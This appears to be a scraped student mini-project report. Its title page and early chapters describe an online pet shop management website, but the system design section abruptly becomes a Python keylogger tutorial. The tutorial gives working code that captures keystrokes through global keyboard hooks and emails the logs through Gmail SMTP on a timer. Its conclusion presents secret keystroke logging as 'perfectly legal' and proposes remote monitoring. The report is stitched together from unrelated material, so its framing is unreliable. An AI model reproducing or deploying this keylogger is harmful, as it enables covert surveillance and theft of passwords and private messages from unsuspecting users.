Professional Documents
Culture Documents
Pet Shop Management Mini Project Report: (Reg - No.2013141100022)
Pet Shop Management Mini Project Report: (Reg - No.2013141100022)
MARCH - 2023
GURU NANAK COLLEGE (Autonomous)
(Affiliated to University of Madras)
Guru Nanak Salai, Velachery, Chennai - 600 042.
DECLARATION
BSc IT student, hereby declare that the Mini Project Report entitled, PET SHOP
I further declare that this Mini Project has not been submitted elsewhere for any
other degree.
Date:
GURU NANAK COLLEGE (Autonomous)
(Affiliated to University of Madras)
Guru Nanak Salai, Velachery, Chennai - 600 042.
CERTIFICATE
Date:
ACKNOWLEDGEMENT
MPhil (Associate Professor ), for her encouragement to this project. She motivated me to
do project using Python programming language. She encouraged me all way to complete this
project.
ABSTRACT:
Pet Shop is a website where the purchase and sale of pets took place.
Today we came to know about the circumstances that most of the people depends on
Local markets and nearby houses in order to buy a pet for their house. Through this
project we are planning to digitalize this process by online marketing. Thus the
individuals can also rely on other persons across the district in order to buy variety
breeds of pets. People could also be able to come to know about the di fferent
1.1 Objectives
1.2 Project Overview
2 System Analysis
Pet Shop Management System all its user will have a valid user id and
password associated with it. Admin will responsible to provide their user id
and password by creating it. Admin can grant special permission to any
particular working employee. Admin can add new user, delete user, modify
user, generate bills, and get information on cash inflow and outflow. Check
stock, get reports on sales and purchase of products from suppliers and get
information on their regular customers to provide special discounts. Valid
user or working employee will be able to enter product details, their code,
and price and categorize products according to their size and price. This user
can also search any particular product using price and size options as well as
using product code options to check whether it is available in the pet Shop
Management System or not. Bill section of pet Shop Management System
will generate bill details such as bill number which will be unique for each
customer and supplier.
1.1 OBJECTIVE
In this website , the costumers can able to buy their favourite pets through online
The main purpose of this application is to enable selling of pets for users.
The goal of this online pet shop management system project is to make
transactions and deals with customers in a more pleasant and efficient
manner by simply gathering information from them. It also aids each
individual by allowing them to seek for the information they require
` CHAPTER 2
SYSTEM ANALYSIS
Majority of the people still rely on localmarkets and dealers for buying their
desired pets whereas a part of the money is to be sent to agents as
commission. Currently the number of active mobile users found in our area
that provides purchase of pets are very limited. Many websites are available
in foreign countries like USA, but it is rarely developed in our area. Proper
and timely updation of data is not done in many such websites and therefore
it is not recommended to use. Similarly, lack of good user interface is a main
problem in these cases. Besides these, none of these websites consider street
dogs. As of now there is no website where we can adopt street dogs and
nurture them.
SYSTEM REQUIREMENTS
SYSTEM DESIGN
The Python language type is a high-level, dynamically typed one that is among the most
popular general-purpose programming languages. It is among the world’s fastest-
growing programming languages and is used by software engineers, mathematicians,
data analysts, scientists, network engineers, students, and accountants.
Python is an Interpreted, object-oriented, and high-level programming language. It is
called an interpreted language as its source code is compiled to bytecode which is then
interpreted. CPython usually compiles Python code to bytecode before interpreting it.
Used visual studio code to debug and compile the python program that is developed.
Visual Studio Code is a streamlined code editor with support for development
operations like debugging, task running, and version control. It aims to provide just the
tools a developer needs for a quick code-build-debug cycle and leaves more complex
workflows to fuller featured IDEs, such as Visual Studio IDE.
This module allows you to take complete control of your keyboard, hook global events,
register hotkeys, simulate key presses, and much more, and it is a small module,
though.
If you choose to report key logs via email, then you should set up a Gmail account and
make sure that:
Less secure app access is on (we need to enable it because we will log in
using smtplib in Python).
2-Step Verification is off.
The best way to represent a keylogger is to create a class for it, and each method in this
class does a specific task:
class Keylogger:
def __init__(self, interval, report_method="email"):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
self.report_method = report_method
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# record start & end datetimes
self.start_dt = datetime.now()
self.end_dt = datetime.now()
If we choose to report our keylogs to a local file, the following methods are responsible
for that:
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
Then we need to implement the method that given a message (in this case, key logs),
it sends it as an email:
def sendmail(self, email, password, message):
# manages a connection to the SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# terminates the session
server.quit()
The method that reports the keylogs after every period of time:
def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you want to print in the console, uncomment below line
# print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when main thread die)
timer.daemon = True
# start the timer
timer.start()
And then we passed the and the function self.report() to Timer() class, and then call
the start() method after we set it as a daemon thread.
This way, the method we just implemented sends keystrokes to email or saves it to a
local file (based on the report_method) and calls itself recursively
each self.interval seconds in separate threads.
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()
This start() method is what we'll use outside the class, as it's the essential method, we
use keyboard.on_release() method to pass our previously defined callback() method.
After that, we call our self.report() method that runs on a separate thread and finally we
use wait() method from the keyboard module to block the current thread, so we can exit
out of the program using CTRL+C.
if __name__ == "__main__":
# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY,
report_method="email")
# if you want a keylogger to record keylogs to a local file
# (and then send it using your favorite method)
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
If we want reports via email, then you should uncomment the first instantiation where
we have report_method="email". Otherwise, if we want to report keylogs via files into
the current directory, then we should use the second one, report_method set to "file".
When we execute the script using email reporting, it will record your keystrokes, after
30 seconds, it will send all logs to the email.
APPENDICES
5.2 TESTING
Figure: 5.2.1 – Starting the keylogger in command prompt
Figure: 5.2.1 – Keystrokes are getting saved
Figure: 5.2.3 – Testing some keystrokes
5.3 OUTPUT
CONCLUSION
A Keylogger is a form of software which is used to track or log the all the
keys that a user strikes on their keyboard, usually in secret so that the user
of the system doesn’t know that their actions are being monitored. It is
otherwise known as keyboard capturer. These are perfectly legal and
useful. They can be installed by employers to oversee the use of their
computers, meaning that the employees have to complete their tasks
instead of procrastinating on social media. Some of the possible
amendments and improvements in this project are;
Adding screenshots of pages visited
Recording of system screen
Full remote cloud monitoring
Screenshot of immediately changed pages
Secure web account for data storing
Password Protection
Parental Control
CHAPTER 7
REFERENCES
1. https://medium.com/
2. https://www.slideshare.net/
3. https://en.m.wikipedia.org/wiki/
4. https://security.stackexchange.com/
5. https://www.ionos.com/digitalguide/